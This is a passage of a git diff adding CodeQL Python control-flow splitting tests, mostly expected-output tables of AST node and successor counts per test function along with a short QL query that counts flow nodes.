test.py:212:16:212:16 | ImportExpr | 1 | +| 212 | split12 | test.py:212:16:212:16 | x | 1 | +| 213 | split12 | test.py:213:8:213:8 | x | 2 | +| 214 | split12 | test.py:214:9:214:12 | Pass | 1 | +| 217 | split13 | test.py:217:5:217:7 | var | 1 | +| 217 | split13 | test.py:217:11:217:14 | cond | 1 | +| 217 | split13 | test.py:217:11:217:16 | cond() | 1 | +| 218 | split13 | test.py:218:8:218:10 | var | 1 | +| 219 | split13 | test.py:219:9:219:10 | a1 | 1 | +| 221 | split13 | test.py:221:9:221:10 | a2 | 1 | +| 222 | split13 | test.py:222:5:222:8 | Try | 2 | +| 223 | split13 | test.py:223:9:223:10 | b1 | 2 | +| 225 | split13 | test.py:225:12:225:14 | var | 4 | +| 226 | split13 | test.py:226:13:226:14 | a3 | 2 | +| 230 | split14 | test.py:230:5:230:8 | flag | 1 | +| 230 | split14 | test.py:230:12:230:16 | False | 1 | +| 231 | split14 | test.py:231:5:231:8 | Try | 1 | +| 232 | split14 | test.py:232:9:232:9 | x | 1 | +| 232 | split14 | test.py:232:13:232:21 | something | 1 | +| 232 | split14 | test.py:232:13:232:23 | something() | 1 | +| 233 | split14 | test.py:233:5:233:21 | ExceptStmt | 1 | +| 233 | split14 | test.py:233:12:233:20 | Exception | 1 | +| 234 | split14 | test.py:234:9:234:10 | IntegerLiteral | 1 | +| 235 | split14 | test.py:235:9:235:12 | flag | 1 | +| 235 | split14 | test.py:235:16:235:19 | True | 1 | +| 236 | split14 | test.py:236:8:236:15 | UnaryExpr | 2 | +| 236 | split14 | test.py:236:12:236:15 | flag | 2 | +| 238 | split14 | test.py:238:9:238:12 | Pass | 1 | +| 240 | split15 | test.py:240:13:240:15 | var | 1 | +| 241 | split15 | test.py:241:8:241:10 | var | 1 | +| 242 | split15 | test.py:242:9:242:13 | other | 1 | +| 242 | split15 | test.py:242:17:242:17 | IntegerLiteral | 1 | +| 243 | split15 | test.py:243:8:243:14 | UnaryExpr | 2 | +| 243 | split15 | test.py:243:8:243:28 | BoolExpr | 2 | +| 243 | split15 | test.py:243:12:243:14 | var | 2 | +| 243 | split15 | test.py:243:19:243:23 | other | 1 | +| 243 | split15 | test.py:243:19:243:28 | Attribute | 1 | +| 244 | split15 | test.py:244:9:244:12 | Pass | 2 | +| 247 | split16 | test.py:247:5:247:5 | x | 1 | +| 247 | split16 | test.py:247:9:247:12 | True | 1 | +| 248 | split16 | test.py:248:8:248:11 | cond | 1 | +| 249 | split16 | test.py:249:9:249:9 | x | 1 | +| 249 | split16 | test.py:249:13:249:16 | None | 1 | +| 250 | split16 | test.py:250:8:250:8 | x | 2 | +| 251 | split16 | test.py:251:9:251:11 | use | 1 | +| 251 | split16 | test.py:251:9:251:14 | use() | 1 | +| 251 | split16 | test.py:251:13:251:13 | x | 1 | +| 253 | dont_split_on_different_ssa | test.py:253:33:253:35 | var | 1 | +| 254 | dont_split_on_different_ssa | test.py:254:8:254:10 | var | 1 | +| 255 | dont_split_on_different_ssa | test.py:255:9:255:10 | a1 | 1 | +| 257 | dont_split_on_different_ssa | test.py:257:9:257:10 | a2 | 1 | +| 258 | dont_split_on_different_ssa | test.py:258:5:258:7 | var | 1 | +| 258 | dont_split_on_different_ssa | test.py:258:11:258:14 | func | 1 | +| 258 | dont_split_on_different_ssa | test.py:258:11:258:16 | func() | 1 | +| 259 | dont_split_on_different_ssa | test.py:259:8:259:10 | var | 1 | +| 259 | dont_split_on_different_ssa | test.py:259:8:259:22 | Compare | 1 | +| 259 | dont_split_on_different_ssa | test.py:259:19:259:22 | None | 1 | +| 260 | dont_split_on_different_ssa | test.py:260:9:260:10 | b1 | 1 | +| 262 | dont_split_on_different_ssa | test.py:262:9:262:10 | b2 | 1 | +| 264 | split17 | test.py:264:13:264:15 | var | 1 | +| 266 | split17 | test.py:266:8:266:10 | var | 1 | +| 267 | split17 | test.py:267:9:267:10 | a1 | 1 | +| 269 | split17 | test.py:269:9:269:10 | a2 | 1 | +| 270 | split17 | test.py:270:8:270:14 | UnaryExpr | 2 | +| 270 | split17 | test.py:270:12:270:14 | var | 2 | +| 271 | split17 | test.py:271:9:271:10 | b1 | 1 | +| 273 | split17 | test.py:273:9:273:10 | b2 | 1 | +| 274 | split17 | test.py:274:8:274:10 | var | 2 | +| 275 | split17 | test.py:275:9:275:10 | c1 | 1 | +| 277 | split17 | test.py:277:9:277:10 | c2 | 1 | +| 278 | split17 | test.py:278:8:278:10 | var | 2 | +| 279 | split17 | test.py:279:9:279:10 | d1 | 1 | +| 281 | split17 | test.py:281:9:281:10 | d2 | 1 | +| 282 | split17 | test.py:282:8:282:10 | var | 2 | +| 283 | split17 | test.py:283:9:283:10 | e1 | 1 | +| 285 | split17 | test.py:285:9:285:10 | e2 | 1 | +| 287 | split18 | test.py:287:13:287:15 | var | 1 | +| 289 | split18 | test.py:289:8:289:10 | var | 1 | +| 290 | split18 | test.py:290:9:290:10 | a1 | 1 | +| 292 | split18 | test.py:292:9:292:10 | a2 | 1 | +| 293 | split18 | test.py:293:8:293:10 | var | 2 | +| 293 | split18 | test.py:293:8:293:22 | Compare | 2 | +| 293 | split18 | test.py:293:19:293:22 | None | 2 | +| 294 | split18 | test.py:294:9:294:10 | b1 | 2 | +| 296 | split18 | test.py:296:9:296:10 | b2 | 1 | +| 297 | split18 | test.py:297:8:297:10 | var | 3 | +| 297 | split18 | test.py:297:8:297:18 | Compare | 3 | +| 297 | split18 | test.py:297:15:297:18 | None | 3 | +| 298 | split18 | test.py:298:9:298:10 | c1 | 1 | +| 300 | split18 | test.py:300:9:300:10 | c2 | 2 | +| 301 | split18 | test.py:301:8:301:10 | var | 3 | +| 302 | split18 | test.py:302:9:302:10 | d1 | 1 | +| 304 | split18 | test.py:304:9:304:10 | d2 | 2 | +| 305 | split18 | test.py:305:8:305:10 | var | 3 | +| 306 | split18 | test.py:306:9:306:10 | e1 | 1 | +| 308 | split18 | test.py:308:9:308:10 | e2 | 2 | +| 310 | split_on_boolean_only | test.py:310:27:310:27 | x | 1 | +| 311 | split_on_boolean_only | test.py:311:8:311:8 | x | 1 | +| 312 | split_on_boolean_only | test.py:312:9:312:10 | a1 | 1 | +| 314 | split_on_boolean_only | test.py:314:9:314:10 | a2 | 1 | +| 315 | split_on_boolean_only | test.py:315:8:315:8 | x | 2 | +| 315 | split_on_boolean_only | test.py:315:8:315:20 | Compare | 2 | +| 315 | split_on_boolean_only | test.py:315:17:315:20 | None | 2 | +| 316 | split_on_boolean_only | test.py:316:9:316:10 | b1 | 2 | +| 318 | split_on_boolean_only | test.py:318:9:318:10 | b2 | 1 | +| 319 | split_on_boolean_only | test.py:319:8:319:8 | x | 3 | +| 320 | split_on_boolean_only | test.py:320:9:320:10 | c1 | 1 | +| 322 | split_on_boolean_only | test.py:322:9:322:10 | c2 | 2 | +| 324 | split_on_none_aswell | test.py:324:26:324:26 | x | 1 | +| 325 | split_on_none_aswell | test.py:325:8:325:8 | x | 1 | +| 326 | split_on_none_aswell | test.py:326:9:326:10 | a1 | 1 | +| 328 | split_on_none_aswell | test.py:328:9:328:10 | a2 | 1 | +| 329 | split_on_none_aswell | test.py:329:8:329:8 | x | 2 | +| 329 | split_on_none_aswell | test.py:329:8:329:20 | Compare | 2 | +| 329 | split_on_none_aswell | test.py:329:17:329:20 | None | 2 | +| 330 | split_on_none_aswell | test.py:330:9:330:10 | b1 | 2 | +| 332 | split_on_none_aswell | test.py:332:9:332:10 | b2 | 1 | +| 333 | split_on_none_aswell | test.py:333:8:333:8 | x | 3 | +| 333 | split_on_none_aswell | test.py:333:8:333:16 | Compare | 3 | +| 333 | split_on_none_aswell | test.py:333:13:333:16 | None | 3 | +| 334 | split_on_none_aswell | test.py:334:9:334:10 | c1 | 1 | +| 336 | split_on_none_aswell | test.py:336:9:336:10 | c2 | 2 | +| 338 | split_on_or_defn | test.py:338:22:338:24 | var | 1 | +| 339 | split_on_or_defn | test.py:339:8:339:10 | var | 1 | +| 340 | split_on_or_defn | test.py:340:9:340:11 | obj | 1 | +| 340 | split_on_or_defn | test.py:340:15:340:19 | thing | 1 | +| 340 | split_on_or_defn | test.py:340:15:340:21 | thing() | 1 | +| 341 | split_on_or_defn | test.py:341:8:341:14 | UnaryExpr | 2 | +| 341 | split_on_or_defn | test.py:341:8:341:26 | BoolExpr | 2 | +| 341 | split_on_or_defn | test.py:341:12:341:14 | var | 2 | +| 341 | split_on_or_defn | test.py:341:19:341:21 | obj | 1 | +| 341 | split_on_or_defn | test.py:341:19:341:26 | Attribute | 1 | +| 342 | split_on_or_defn | test.py:342:9:342:9 | x | 2 | +| 345 | split_on_exception | test.py:345:5:345:8 | flag | 1 | +| 345 | split_on_exception | test.py:345:12:345:16 | False | 1 | +| 346 | split_on_exception | test.py:346:5:346:8 | Try | 1 | +| 347 | split_on_exception | test.py:347:9:347:9 | x | 1 | +| 347 | split_on_exception | test.py:347:13:347:24 | do_something | 1 | +| 347 | split_on_exception | test.py:347:13:347:26 | do_something() | 1 | +| 348 | split_on_exception | test.py:348:5:348:21 | ExceptStmt | 1 | +| 348 | split_on_exception | test.py:348:12:348:20 | Exception | 1 | +| 349 | split_on_exception | test.py:349:9:349:12 | flag | 1 | +| 349 | split_on_exception | test.py:349:16:349:19 | True | 1 | +| 350 | split_on_exception | test.py:350:8:350:15 | UnaryExpr | 2 | +| 350 | split_on_exception | test.py:350:12:350:15 | flag | 2 | +| 351 | split_on_exception | test.py:351:9:351:9 | x | 1 | +| 353 | partially_useful_split | test.py:353:28:353:31 | cond | 1 | +| 354 | partially_useful_split | test.py:354:8:354:11 | cond | 1 | +| 355 | partially_useful_split | test.py:355:9:355:9 | x | 1 | +| 355 | partially_useful_split | test.py:355:13:355:16 | None | 1 | +| 357 | partially_useful_split | test.py:357:9:357:9 | x | 1 | +| 357 | partially_useful_split | test.py:357:13:357:29 | something_or_none | 1 | +| 357 | partially_useful_split | test.py:357:13:357:31 | something_or_none() | 1 | +| 358 | partially_useful_split | test.py:358:5:358:15 | other_stuff | 2 | +| 358 | partially_useful_split | test.py:358:5:358:17 | other_stuff() | 2 | +| 359 | partially_useful_split | test.py:359:8:359:8 | x | 2 | +| 360 | partially_useful_split | test.py:360:9:360:10 | a1 | 1 | +| 362 | partially_useful_split | test.py:362:9:362:10 | a2 | 2 | +| 364 | dont_split_not_useful | test.py:364:27:364:30 | cond | 1 | +| 364 | dont_split_not_useful | test.py:364:33:364:33 | y | 1 | +| 365 | dont_split_not_useful | test.py:365:8:365:11 | cond | 1 | +| 366 | dont_split_not_useful | test.py:366:9:366:9 | x | 1 | +| 366 | dont_split_not_useful | test.py:366:13:366:16 | None | 1 | +| 368 | dont_split_not_useful | test.py:368:9:368:9 | x | 1 | +| 368 | dont_split_not_useful | test.py:368:13:368:29 | something_or_none | 1 | +| 368 | dont_split_not_useful | test.py:368:13:368:31 | something_or_none() | 1 | +| 369 | dont_split_not_useful | test.py:369:5:369:15 | other_stuff | 1 | +| 369 | dont_split_not_useful | test.py:369:5:369:17 | other_stuff() | 1 | +| 370 | dont_split_not_useful | test.py:370:8:370:8 | y | 1 | +| 371 | dont_split_not_useful | test.py:371:9:371:10 | a1 | 1 | +| 373 | dont_split_not_useful | test.py:373:9:373:10 | a2 | 1 | +| 376 | f | test.py:376:7:376:7 | x | 1 | +| 376 | f | test.py:376:9:376:9 | y | 1 | +| 377 | f | test.py:377:8:377:8 | x | 1 | +| 377 | f | test.py:377:8:377:14 | BoolExpr | 1 | +| 377 | f | test.py:377:14:377:14 | y | 1 | +| 378 | f | test.py:378:9:378:13 | Raise | 1 | +| 379 | f | test.py:379:8:379:19 | UnaryExpr | 3 | +| 379 | f | test.py:379:13:379:13 | x | 2 | +| 379 | f | test.py:379:13:379:18 | BoolExpr | 2 | +| 379 | f | test.py:379:18:379:18 | y | 1 | +| 380 | f | test.py:380:9:380:13 | Raise | 1 | +| 381 | f | test.py:381:5:381:8 | Pass | 2 | +| 383 | g | test.py:383:7:383:7 | x | 1 | +| 383 | g | test.py:383:9:383:9 | y | 1 | +| 384 | g | test.py:384:8:384:8 | x | 1 | +| 384 | g | test.py:384:8:384:14 | BoolExpr | 1 | +| 384 | g | test.py:384:14:384:14 | y | 1 | +| 385 | g | test.py:385:9:385:13 | Raise | 1 | +| 386 | g | test.py:386:8:386:8 | x | 2 | +| 386 | g | test.py:386:8:386:13 | BoolExpr | 2 | +| 386 | g | test.py:386:13:386:13 | y | 1 | +| 388 | g | test.py:388:9:388:12 | here | 2 | +| 389 | g | test.py:389:5:389:7 | end | 2 | +| 391 | h | test.py:391:7:391:7 | x | 1 | +| 391 | h | test.py:391:10:391:10 | y | 1 | +| 393 | h | test.py:393:9:396:18 | BoolExpr | 1 | +| 393 | h | test.py:393:10:393:10 | x | 1 | +| 393 | h | test.py:393:10:394:14 | BoolExpr | 1 | +| 394 | h | test.py:394:10:394:14 | UnaryExpr | 1 | +| 394 | h | test.py:394:14:394:14 | y | 1 | +| 395 | h | test.py:395:10:395:10 | x | 2 | +| 395 | h | test.py:395:10:396:17 | BoolExpr | 2 | +| 396 | h | test.py:396:10:396:10 | y | 1 | +| 396 | h | test.py:396:10:396:15 | Attribute | 1 | +| 396 | h | test.py:396:10:396:17 | Attribute() | 1 | +| 398 | h | test.py:398:9:398:12 | Pass | 1 | +| 400 | j | test.py:400:7:400:7 | a | 1 | +| 400 | j | test.py:400:10:400:10 | b | 1 | +| 401 | j | test.py:401:8:401:8 | a | 1 | +| 401 | j | test.py:401:8:401:13 | BoolExpr | 1 | +| 401 | j | test.py:401:13:401:13 | b | 1 | +| 402 | j | test.py:402:12:402:12 | a | 2 | +| 403 | j | test.py:403:13:403:16 | here | 1 | +| 405 | j | test.py:405:13:405:17 | there | 1 | +| 408 | split_on_strings | test.py:408:5:408:8 | Try | 1 | +| 409 | split_on_strings | test.py:409:9:409:18 | might_fail | 1 | +| 409 | split_on_strings | test.py:409:9:409:20 | might_fail() | 1 | +| 410 | split_on_strings | test.py:410:9:410:9 | x | 1 | +| 410 | split_on_strings | test.py:410:13:410:18 | Str | 1 | +| 411 | split_on_strings | test.py:411:5:411:11 | ExceptStmt | 1 | +| 412 | split_on_strings | test.py:412:9:412:9 | x | 1 | +| 412 | split_on_strings | test.py:412:13:412:16 | Str | 1 | +| 414 | split_on_strings | test.py:414:8:414:8 | x | 2 | +| 414 | split_on_strings | test.py:414:8:414:16 | Compare | 2 | +| 414 | split_on_strings | test.py:414:13:414:16 | Str | 2 | +| 415 | split_on_strings | test.py:415:9:415:12 | Pass | 2 | +| 416 | split_on_strings | test.py:416:5:416:8 | Pass | 2 | +| 419 | scipy_stylee | test.py:419:18:419:18 | x | 1 | +| 420 | scipy_stylee | test.py:420:5:420:31 | Assert | 2 | +| 420 | scipy_stylee | test.py:420:12:420:12 | x | 1 | +| 420 | scipy_stylee | test.py:420:12:420:31 | Compare | 1 | +| 420 | scipy_stylee | test.py:420:18:420:20 | Str | 1 | +| 420 | scipy_stylee | test.py:420:18:420:30 | Tuple | 1 | +| 420 | scipy_stylee | test.py:420:23:420:25 | Str | 1 | +| 420 | scipy_stylee | test.py:420:28:420:30 | Str | 1 | +| 421 | scipy_stylee | test.py:421:8:421:8 | x | 1 | +| 421 | scipy_stylee | test.py:421:8:421:15 | Compare | 1 | +| 421 | scipy_stylee | test.py:421:13:421:15 | Str | 1 | +| 422 | scipy_stylee | test.py:422:9:422:12 | Pass | 1 | +| 423 | scipy_stylee | test.py:423:10:423:10 | x | 1 | +| 423 | scipy_stylee | test.py:423:10:423:17 | Compare | 1 | +| 423 | scipy_stylee | test.py:423:15:423:17 | Str | 1 | +| 424 | scipy_stylee | test.py:424:9:424:12 | Pass | 1 | +| 425 | scipy_stylee | test.py:425:10:425:10 | x | 1 | +| 425 | scipy_stylee | test.py:425:10:425:17 | Compare | 1 | +| 425 | scipy_stylee | test.py:425:15:425:17 | Str | 1 | +| 426 | scipy_stylee | test.py:426:9:426:12 | Pass | 1 | +| 429 | scipy_stylee | test.py:429:9:429:12 | Pass | 1 | +| 431 | odasa_6674 | test.py:431:16:431:16 | x | 1 | +| 432 | odasa_6674 | test.py:432:5:432:9 | valid | 1 | +| 432 | odasa_6674 | test.py:432:13:432:16 | True | 1 | +| 433 | odasa_6674 | test.py:433:8:433:27 | dont_understand_this | 1 | +| 433 | odasa_6674 | test.py:433:8:433:29 | dont_understand_this() | 1 | +| 434 | odasa_6674 | test.py:434:9:434:12 | Try | 1 | +| 435 | odasa_6674 | test.py:435:13:435:21 | may_raise | 1 | +| 435 | odasa_6674 | test.py:435:13:435:23 | may_raise() | 1 | +| 436 | odasa_6674 | test.py:436:13:436:17 | score | 1 | +| 436 | odasa_6674 | test.py:436:21:436:21 | IntegerLiteral | 1 | +| 437 | odasa_6674 | test.py:437:9:437:24 | ExceptStmt | 1 | +| 437 | odasa_6674 | test.py:437:16:437:23 | KeyError | 1 | +| 438 | odasa_6674 | test.py:438:13:438:17 | valid | 1 | +| 438 | odasa_6674 | test.py:438:21:438:25 | False | 1 | +| 439 | odasa_6674 | test.py:439:12:439:20 | UnaryExpr | 2 | +| 439 | odasa_6674 | test.py:439:16:439:20 | valid | 2 | +| 440 | odasa_6674 | test.py:440:13:440:30 | Raise | 1 | +| 440 | odasa_6674 | test.py:440:19:440:28 | ValueError | 1 | +| 440 | odasa_6674 | test.py:440:19:440:30 | ValueError() | 1 | +| 442 | odasa_6674 | test.py:442:9:442:13 | score | 1 | +| 442 | odasa_6674 | test.py:442:17:442:17 | IntegerLiteral | 1 | +| 443 | odasa_6674 | test.py:443:5:443:16 | Return | 1 | +| 443 | odasa_6674 | test.py:443:12:443:16 | score | 1 | +| 445 | odasa_6625 | test.py:445:16:445:16 | k | 1 | +| 446 | odasa_6625 | test.py:446:5:446:9 | value | 1 | +| 446 | odasa_6625 | test.py:446:13:446:16 | Str | 1 | +| 447 | odasa_6625 | test.py:447:8:447:8 | k | 1 | +| 447 | odasa_6625 | test.py:447:8:447:17 | Attribute | 1 | +| 447 | odasa_6625 | test.py:447:8:447:25 | Attribute() | 1 | +| 447 | odasa_6625 | test.py:447:8:447:47 | BoolExpr | 1 | +| 447 | odasa_6625 | test.py:447:19:447:24 | Str | 1 | +| 447 | odasa_6625 | test.py:447:30:447:30 | k | 1 | +| 447 | odasa_6625 | test.py:447:30:447:39 | Attribute | 1 | +| 447 | odasa_6625 | test.py:447:30:447:47 | Attribute() | 1 | +| 447 | odasa_6625 | test.py:447:41:447:46 | Str | 1 | +| 448 | odasa_6625 | test.py:448:9:448:13 | value | 1 | +| 448 | odasa_6625 | test.py:448:17:448:17 | IntegerLiteral | 1 | +| 449 | odasa_6625 | test.py:449:8:449:8 | k | 1 | +| 449 | odasa_6625 | test.py:449:8:449:18 | Compare | 1 | +| 449 | odasa_6625 | test.py:449:13:449:18 | Str | 1 | +| 450 | odasa_6625 | test.py:450:9:450:31 | Return | 1 | +| 450 | odasa_6625 | test.py:450:16:450:20 | value | 1 | +| 450 | odasa_6625 | test.py:450:16:450:31 | BinaryExpr | 1 | +| 450 | odasa_6625 | test.py:450:24:450:31 | Str | 1 | +| 453 | avoid_redundant_split | test.py:453:27:453:27 | a | 1 | +| 454 | avoid_redundant_split | test.py:454:8:454:8 | a | 1 | +| 455 | avoid_redundant_split | test.py:455:9:455:9 | x | 1 | +| 455 | avoid_redundant_split | test.py:455:13:455:25 | unknown_thing | 1 | +| 455 | avoid_redundant_split | test.py:455:13:455:27 | unknown_thing() | 1 | +| 457 | avoid_redundant_split | test.py:457:9:457:9 | x | 1 | +| 457 | avoid_redundant_split | test.py:457:13:457:16 | None | 1 | +| 458 | avoid_redundant_split | test.py:458:8:458:8 | x | 2 | +| 459 | avoid_redundant_split | test.py:459:9:459:12 | Pass | 1 | +| 460 | avoid_redundant_split | test.py:460:8:460:8 | x | 2 | +| 461 | avoid_redundant_split | test.py:461:9:461:12 | Pass | 1 | +| 462 | avoid_redundant_split | test.py:462:5:462:15 | other_stuff | 2 | +| 462 | avoid_redundant_split | test.py:462:5:462:17 | other_stuff() | 2 | +| 463 | avoid_redundant_split | test.py:463:5:463:8 | Try | 2 | +| 464 | avoid_redundant_split | test.py:464:16:464:18 | ImportExpr | 2 | +| 464 | avoid_redundant_split | test.py:464:16:464:18 | foo | 2 | +| 465 | avoid_redundant_split | test.py:465:9:465:11 | var | 2 | +| 465 | avoid_redundant_split | test.py:465:15:465:18 | True | 2 | +| 466 | avoid_redundant_split | test.py:466:5:466:11 | ExceptStmt | 2 | +| 467 | avoid_redundant_split | test.py:467:9:467:11 | var | 2 | +| 467 | avoid_redundant_split | test.py:467:15:467:19 | False | 2 | +| 468 | avoid_redundant_split | test.py:468:8:468:10 | var | 4 | +| 469 | avoid_redundant_split | test.py:469:9:469:11 | foo | 2 | +| 469 | avoid_redundant_split | test.py:469:9:469:15 | Attribute | 2 | +| 469 | avoid_redundant_split | test.py:469:9:469:17 | Attribute() | 2 | diff --git a/python/ql/test/library-tests/ControlFlow/splitting/NodeCount.ql b/python/ql/test/library-tests/ControlFlow/splitting/NodeCount.ql new file mode 100644 index 00000000000..d9d5efbb494 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/splitting/NodeCount.ql @@ -0,0 +1,8 @@ +import python + +from AstNode a, Scope s +where not a instanceof Import and not a instanceof If and not a instanceof AssignStmt and not a instanceof ExprStmt and +a.getScope() = s and +s instanceof Function +select +a.getLocation().getStartLine(), s.getName(), a, count(a.getAFlowNode()) diff --git a/python/ql/test/library-tests/ControlFlow/splitting/SuccessorCount.expected b/python/ql/test/library-tests/ControlFlow/splitting/SuccessorCount.expected new file mode 100644 index 00000000000..c65e6d1b64b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/splitting/SuccessorCount.expected @@ -0,0 +1,181 @@ +| 3 | split1 | test.py:3:8:3:11 | ControlFlowNode for cond | 2 | +| 5 | split1 | test.py:5:8:5:11 | ControlFlowNode for cond | 1 | +| 5 | split1 | test.py:5:8:5:11 | ControlFlowNode for cond | 1 | +| 9 | dont_split1 | test.py:9:8:9:11 | ControlFlowNode for cond | 2 | +| 12 | dont_split1 | test.py:12:8:12:11 | ControlFlowNode for cond | 2 | +| 16 | dont_split2 | test.py:16:8:16:11 | ControlFlowNode for cond | 2 | +| 19 | dont_split2 | test.py:19:8:19:11 | ControlFlowNode for cond | 2 | +| 29 | split2 | test.py:29:8:29:8 | ControlFlowNode for x | 1 | +| 29 | split2 | test.py:29:8:29:8 | ControlFlowNode for x | 1 | +| 38 | unclear_split3 | test.py:38:8:38:11 | ControlFlowNode for cond | 2 | +| 40 | unclear_split3 | test.py:40:8:40:8 | ControlFlowNode for x | 1 | +| 40 | unclear_split3 | test.py:40:8:40:8 | ControlFlowNode for x | 2 | +| 44 | split4 | test.py:44:8:44:16 | ControlFlowNode for Compare | 2 | +| 46 | split4 | test.py:46:10:46:10 | ControlFlowNode for b | 2 | +| 50 | split_carefully_5 | test.py:50:8:50:16 | ControlFlowNode for Compare | 2 | +| 52 | split_carefully_5 | test.py:52:8:52:8 | ControlFlowNode for x | 2 | +| 58 | dont_split_globals | test.py:58:8:58:11 | ControlFlowNode for cond | 2 | +| 61 | dont_split_globals | test.py:61:8:61:11 | ControlFlowNode for cond | 2 | +| 61 | dont_split_globals | test.py:61:8:61:11 | ControlFlowNode for cond | 2 | +| 65 | limit_splitting1 | test.py:65:8:65:16 | ControlFlowNode for Compare | 2 | +| 66 | limit_splitting1 | test.py:66:8:66:16 | ControlFlowNode for Compare | 2 | +| 67 | limit_splitting1 | test.py:67:8:67:16 | ControlFlowNode for Compare | 2 | +| 68 | limit_splitting1 | test.py:68:8:68:16 | ControlFlowNode for Compare | 2 | +| 78 | limit_splitting2 | test.py:78:8:78:8 | ControlFlowNode for a | 2 | +| 80 | limit_splitting2 | test.py:80:8:80:8 | ControlFlowNode for b | 2 | +| 80 | limit_splitting2 | test.py:80:8:80:8 | ControlFlowNode for b | 2 | +| 82 | limit_splitting2 | test.py:82:8:82:8 | ControlFlowNode for c | 2 | +| 82 | limit_splitting2 | test.py:82:8:82:8 | ControlFlowNode for c | 2 | +| 82 | limit_splitting2 | test.py:82:8:82:8 | ControlFlowNode for c | 2 | +| 82 | limit_splitting2 | test.py:82:8:82:8 | ControlFlowNode for c | 2 | +| 84 | limit_splitting2 | test.py:84:8:84:8 | ControlFlowNode for d | 2 | +| 84 | limit_splitting2 | test.py:84:8:84:8 | ControlFlowNode for d | 2 | +| 84 | limit_splitting2 | test.py:84:8:84:8 | ControlFlowNode for d | 2 | +| 84 | limit_splitting2 | test.py:84:8:84:8 | ControlFlowNode for d | 2 | +| 87 | limit_splitting2 | test.py:87:8:87:8 | ControlFlowNode for a | 1 | +| 87 | limit_splitting2 | test.py:87:8:87:8 | ControlFlowNode for a | 1 | +| 87 | limit_splitting2 | test.py:87:8:87:8 | ControlFlowNode for a | 1 | +| 87 | limit_splitting2 | test.py:87:8:87:8 | ControlFlowNode for a | 1 | +| 89 | limit_splitting2 | test.py:89:8:89:8 | ControlFlowNode for b | 1 | +| 89 | limit_splitting2 | test.py:89:8:89:8 | ControlFlowNode for b | 1 | +| 89 | limit_splitting2 | test.py:89:8:89:8 | ControlFlowNode for b | 1 | +| 89 | limit_splitting2 | test.py:89:8:89:8 | ControlFlowNode for b | 1 | +| 92 | limit_splitting2 | test.py:92:8:92:8 | ControlFlowNode for c | 2 | +| 92 | limit_splitting2 | test.py:92:8:92:8 | ControlFlowNode for c | 2 | +| 92 | limit_splitting2 | test.py:92:8:92:8 | ControlFlowNode for c | 2 | +| 92 | limit_splitting2 | test.py:92:8:92:8 | ControlFlowNode for c | 2 | +| 94 | limit_splitting2 | test.py:94:8:94:8 | ControlFlowNode for d | 2 | +| 94 | limit_splitting2 | test.py:94:8:94:8 | ControlFlowNode for d | 2 | +| 94 | limit_splitting2 | test.py:94:8:94:8 | ControlFlowNode for d | 2 | +| 94 | limit_splitting2 | test.py:94:8:94:8 | ControlFlowNode for d | 2 | +| 103 | split_on_numbers | test.py:103:8:103:8 | ControlFlowNode for x | 1 | +| 103 | split_on_numbers | test.py:103:8:103:8 | ControlFlowNode for x | 1 | +| 113 | split_try_except_else | test.py:113:8:113:8 | ControlFlowNode for x | 1 | +| 113 | split_try_except_else | test.py:113:8:113:8 | ControlFlowNode for x | 1 | +| 126 | logging | test.py:126:8:126:14 | ControlFlowNode for module1 | 1 | +| 126 | logging | test.py:126:8:126:14 | ControlFlowNode for module1 | 1 | +| 136 | split5 | test.py:136:8:136:12 | ControlFlowNode for UnaryExpr | 1 | +| 136 | split5 | test.py:136:8:136:12 | ControlFlowNode for UnaryExpr | 1 | +| 145 | split6 | test.py:145:8:145:16 | ControlFlowNode for UnaryExpr | 1 | +| 145 | split6 | test.py:145:8:145:16 | ControlFlowNode for UnaryExpr | 1 | +| 154 | split7 | test.py:154:8:154:8 | ControlFlowNode for x | 1 | +| 154 | split7 | test.py:154:8:154:8 | ControlFlowNode for x | 1 | +| 158 | split8 | test.py:158:8:158:11 | ControlFlowNode for cond | 2 | +| 162 | split8 | test.py:162:8:162:15 | ControlFlowNode for UnaryExpr | 1 | +| 162 | split8 | test.py:162:8:162:15 | ControlFlowNode for UnaryExpr | 1 | +| 163 | split8 | test.py:163:12:163:12 | ControlFlowNode for t | 1 | +| 168 | split9 | test.py:168:8:168:18 | ControlFlowNode for Compare | 2 | +| 172 | split9 | test.py:172:8:172:22 | ControlFlowNode for Compare | 1 | +| 172 | split9 | test.py:172:8:172:22 | ControlFlowNode for Compare | 1 | +| 178 | split10 | test.py:178:8:178:10 | ControlFlowNode for var | 2 | +| 182 | split10 | test.py:182:8:182:22 | ControlFlowNode for Compare | 1 | +| 182 | split10 | test.py:182:8:182:22 | ControlFlowNode for Compare | 2 | +| 188 | split11 | test.py:188:8:188:18 | ControlFlowNode for Compare | 2 | +| 192 | split11 | test.py:192:8:192:10 | ControlFlowNode for var | 1 | +| 192 | split11 | test.py:192:8:192:10 | ControlFlowNode for var | 2 | +| 198 | dont_split_on_unrelated_variables | test.py:198:8:198:19 | ControlFlowNode for Compare | 2 | +| 202 | dont_split_on_unrelated_variables | test.py:202:8:202:23 | ControlFlowNode for Compare | 2 | +| 213 | split12 | test.py:213:8:213:8 | ControlFlowNode for x | 1 | +| 213 | split12 | test.py:213:8:213:8 | ControlFlowNode for x | 1 | +| 218 | split13 | test.py:218:8:218:10 | ControlFlowNode for var | 2 | +| 225 | split13 | test.py:225:12:225:14 | ControlFlowNode for var | 1 | +| 225 | split13 | test.py:225:12:225:14 | ControlFlowNode for var | 1 | +| 225 | split13 | test.py:225:12:225:14 | ControlFlowNode for var | 1 | +| 236 | split14 | test.py:236:8:236:15 | ControlFlowNode for UnaryExpr | 1 | +| 236 | split14 | test.py:236:8:236:15 | ControlFlowNode for UnaryExpr | 1 | +| 241 | split15 | test.py:241:8:241:10 | ControlFlowNode for var | 2 | +| 243 | split15 | test.py:243:8:243:14 | ControlFlowNode for UnaryExpr | 1 | +| 243 | split15 | test.py:243:8:243:14 | ControlFlowNode for UnaryExpr | 1 | +| 243 | split15 | test.py:243:19:243:28 | ControlFlowNode for Attribute | 2 | +| 248 | split16 | test.py:248:8:248:11 | ControlFlowNode for cond | 2 | +| 250 | split16 | test.py:250:8:250:8 | ControlFlowNode for x | 1 | +| 250 | split16 | test.py:250:8:250:8 | ControlFlowNode for x | 1 | +| 254 | dont_split_on_different_ssa | test.py:254:8:254:10 | ControlFlowNode for var | 2 | +| 259 | dont_split_on_different_ssa | test.py:259:8:259:22 | ControlFlowNode for Compare | 2 | +| 266 | split17 | test.py:266:8:266:10 | ControlFlowNode for var | 2 | +| 270 | split17 | 